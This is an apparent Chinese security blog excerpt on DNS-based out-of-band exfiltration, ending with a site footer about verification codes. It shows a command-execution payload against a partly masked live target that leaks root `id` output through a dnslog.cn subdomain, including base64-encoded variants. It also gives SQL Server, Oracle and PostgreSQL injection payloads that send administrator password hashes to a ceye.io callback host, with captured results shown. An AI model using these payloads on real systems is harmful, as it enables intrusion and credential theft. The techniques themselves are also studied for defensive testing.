#Payload go run main.go -u "http://202.114.**.***/view/index.action" -c 'curl "http://`id`.2ojptq.dnslog.cn"' #回显请求 DNS Query Record IP Address Created Time root.2ojptq.dnslog.cn **.204.65.56 2019-08-13 14:44:58
Playload解析:
根据语法规定会先将双引号中的whoami命令执行并替换为结果,再执行整个的curl命令。
注意为了防止内容不适合作为域名的一部分我们也可以base64编码后再进行请求。 (小技巧)
1 2 3 4 5 6 7 8 9 10 11 12
#方式1:针对于域名base64编码 echo"http://`id`.2ojptq.dnslog.cn" | base64 aHR0cDovL3VpZD0wKHJvb3QpIGdpZD0wKHJvb3QpIGdyb3Vwcz0wKHJvb3QpLjJvanB0cS5kbnNsb2cuY24K #base64编码请求 go run main.go -u "http://202.114.**.***/view/index.action" -c 'curl $(echo "aHR0cDovL3VpZD0wKHJvb3QpIGdpZD0wKHJvb3QpIGdyb3Vwcz0wKHJvb3QpLjJvanB0cS5kbnNsb2cuY24K" | base64 -d)'
#方式2:针对于域名base64编码(需要注意URL有长度限制-推荐方式) go run main.go -u "http://202.114.**.***/view/index.action" -c 'curl "http://`id|base64`.2ojptq.dnslog.cn"'
#请求结果 DNS Query Record IP Address Created Time uid=0(root) gid=0(root) groups=0(root).2ojptq.dnslog.cn ***.204.**.56 2019-08-13 15:07:17
#SQL Server DECLARE @host varchar(1024); SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins WHERE name='sa') +'.ip.port.b182oj.ceye.io'; EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');
#Oracle SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io'); SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL; SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL; SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL; SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b182oj.ceye.io',80) FROM DUAL;
#PostgreSQL DROP TABLE IF EXISTS table_output; CREATE TABLE table_output(content text); CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $ DECLARE exec_cmd TEXT; DECLARE query_result TEXT; BEGIN SELECT INTO query_result (SELECT passwd FROM pg_shadow WHERE usename='postgres'); exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.psql.ip.port.b182oj.ceye.io\\\\foobar.txt\''; EXECUTE exec_cmd; END; $ LANGUAGE plpgsql SECURITY DEFINER; SELECT temp_function();
方式1.请访问本博主的B站【WeiyiGeek】首页关注UP主, 将自动随机获取解锁验证码。
Method 2.Please visit 【My Twitter】. There is an article verification code in the homepage.
方式3.扫一扫下方二维码,关注本站官方公众号
回复:验证码
将获取解锁(有效期7天)本站所有技术文章哟!